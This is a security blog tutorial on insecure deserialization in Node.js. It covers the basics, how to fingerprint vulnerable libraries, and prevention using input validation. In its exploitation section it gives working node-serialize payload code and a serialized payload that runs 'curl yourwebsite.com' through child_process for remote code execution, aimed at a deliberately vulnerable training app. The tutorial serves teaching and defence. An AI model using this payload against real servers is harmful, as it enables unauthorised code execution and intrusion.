In this blog, we briefly explore Node JS deserialization Exploitation. The process typically involves crafting a malicious payload that, when deserialized by the application, triggers the execution of arbitrary code. This payload can be crafted to exploit specific vulnerabilities in the application’s deserialization logic or the underlying libraries used for deserialization. So let’s start with the fundamentals:
Serialization
In Node.js, serialization is the process of converting an object (like a JavaScript object or array) into a format that can be easily stored (in a database, or file system) or transmitted (over a network). This format needs to be:
- Portable: It should be understood by different systems regardless of their programming language.
- Compact: It should represent the data efficiently to reduce storage space or transmission time.
Common Serialization Formats:
- JSON (JavaScript Object Notation): The most popular choice for Node.js due to its human-readable nature and ease of use.
- YAML (YAML Ain’t Markup Language): Another human-readable format with a more concise syntax.
- Binary: More efficient for larger datasets but not human-readable.
Serialization with JSON (Example):

Deserialization
Deserialization is the reverse process of converting serialized data back into its original object format. This allows you to work with the data in your Node.js application.
Deserialization with JSON (Example):

Node js Deserialization Exploitation
In Node.js applications, deserialization is a crucial process for converting stored or transmitted data (often in JSON format) back into JavaScript objects. However, if not handled securely, deserialization can introduce vulnerabilities known as insecure deserialization.
· Remote Code Execution (RCE): Attackers can craft a serialized object containing malicious code like an IIFE (Immediately Invoked Function Expression) or shell commands. When the application deserializes this object, the code is executed within the application’s context, potentially granting the attacker control over the server.
· Data Manipulation: Attackers can modify serialized data to manipulate application state, such as changing user roles, accessing sensitive information, or altering application behavior.
· Denial-of-Service (DoS): Malicious payloads can be designed to consume excessive resources during deserialization, leading to application crashes or performance degradation.
Example: Vulnerable Node.js Application
Here’s a simplified example of a vulnerable Node.js application using the node-serialize library (known to be vulnerable):

In this example, the handleUserData function receives user data from the request body. This data is directly deserialized using serialize.deserialize, without any checks to ensure its safety. If an attacker sends a serialized object containing malicious code, it will be executed within the application, potentially leading to RCE
Fingerprinting Insecure Deserialization in Node.js: Identifying Vulnerabilities
Insecure deserialization occurs when an application deserializes user-controlled data without proper validation, allowing attackers to inject malicious code or manipulate the application state. Fingerprinting aims to identify these vulnerabilities within Node.js applications. Here’s a deeper dive with examples:
Techniques for Fingerprinting:
1. Identifying Vulnerable Libraries:
- Reviewing Dependencies: Analyze the application’s dependencies and their security advisories. Libraries like
node-serialize,serialize-to-js, and older versions ofmsgpackare known to be vulnerable. - Third-party Vulnerability Scanners: Utilize tools like npm audit to scan dependencies for known vulnerabilities related to insecure deserialization.
Vulnerable Library Example:

This code snippet uses the node-serialize library, known to be vulnerable. Fingerprinting identifies this as a potential risk due to the library’s history.
- Code Analysis:
- Searching for Deserialization Functions: Look for instances where user-controlled data is deserialized without proper validation or sanitization. This involves searching for functions like:
JSON.parsemsgpack.decode
Custom deserialization routines within the application code
Code Analysis Example:

This code snippet utilizes JSON.parse to directly deserialize the userObj.token received from the request body. Fingerprinting identifies this as a potential vulnerability because user-controlled data is being deserialized without validation.
3. Fuzzing and Penetration Testing:
- Fuzzing Tools: Tools like
afl-fuzzcan generate random data and feed it to the application’s deserialization functions. - Fuzzing Target: Direct the fuzzing tool towards specific functions responsible for deserialization.
- Crash Analysis: If the fuzzing tool triggers a crash or unexpected behavior, it indicates a potential vulnerability. Analyze the crash reports and inject payloads to pinpoint the issue.
Serialization and Deserialization Patterns in Node.js:
- JSON Serialization and Deserialization:
- JSON.stringify converts an object into a JSON string.
- JSON.parse converts a JSON string back into an object.
- Binary Serialization and Deserialization:
- Libraries like msgpack and bson are used for serializing complex data structures into binary formats for efficient storage or transmission.
- These libraries provide specific decoding functions to deserialize the binary data back into objects.
Exploitation of vulnerable Node.js application
First, install the vulnerable node.js application from Git Hub. Then setup docker-image or you can set it up manually
Github link: https://github.com/payatu/vuln-nodejs-app?tab=readme-ov-file
after setup

Click exploit and then fill in the shoe preference section and then submit.

After submission check the post-request method in Burpsuite,
you can see the injection point in preference-cookies. Send this request in burp-repeater.

Then create a payload. For successful exploitation, arbitrary code execution should occur when untrusted input is passed into unserialize() the function. The best way to create a payload is to use the serialize() function of the same module.
First create a file,set the name of serialiser.js with the help of the nano tool in Kali Linux
var serialize = require('node-serialize');
// change 'yourwebsite.com' to your host to receive callback
var payload = {payload: function(callback){require('child_process').exec('curl yourwebsite.com', function(error, stdout, stderr){console.log(stdout)}); callback();}};
console.log(serialize.serialize(payload));

{"payload":"_$$ND_FUNC$$_function(callback){require('child_process').exec('curl yourwebsite.com', function(error, stdout, stderr){console.log(stdout)}); callback();}"}

Prevention Strategies:
- Validate and Sanitize User Input:
- Before deserialization, thoroughly validate all user-controlled data. This involves:
- Removing potentially malicious characters (e.g., using regular expressions).
- Enforcing data type checks (e.g., ensuring numbers are numeric, strings are text).
- Verifying data conforms to expected formats (e.g., validating email addresses).
- Before deserialization, thoroughly validate all user-controlled data. This involves:
- Restrict Deserialization Sources:
- Limit deserialization to trusted sources: Avoid deserializing data directly from user input like forms or API requests. Consider:
- Using whitelisting to only accept data from specific sources.
- Implementing a specific data format for deserialization (e.g., a custom schema).
- Limit deserialization to trusted sources: Avoid deserializing data directly from user input like forms or API requests. Consider:
- Utilize Secure Libraries:
- Choose libraries with known security practices: Research libraries and their history with deserialization vulnerabilities. Opt for libraries that actively address security concerns.
- Regularly update libraries: Ensure you have the latest versions with security patches installed.
- Implement Input Validation Frameworks:
- Frameworks like Joi or Yup can be used to define strict validation rules for user input. These rules ensure only valid data reaches the deserialization stage, reducing the attack surface.
- Monitor Application Behavior:
- Implement logging and monitoring mechanisms to detect suspicious activity or unexpected behavior that might indicate deserialization attacks. Tools like Sentry or Datadog can help with this.
Example: Secure Deserialization
Here’s an example of secure deserialization compared to the vulnerable version:
Vulnerable

Secure:

This example uses Joi to validate the user input before deserialization. If validation fails, the code handles the error gracefully and doesn’t attempt deserialization. This significantly reduces the risk of insecure deserialization attacks.
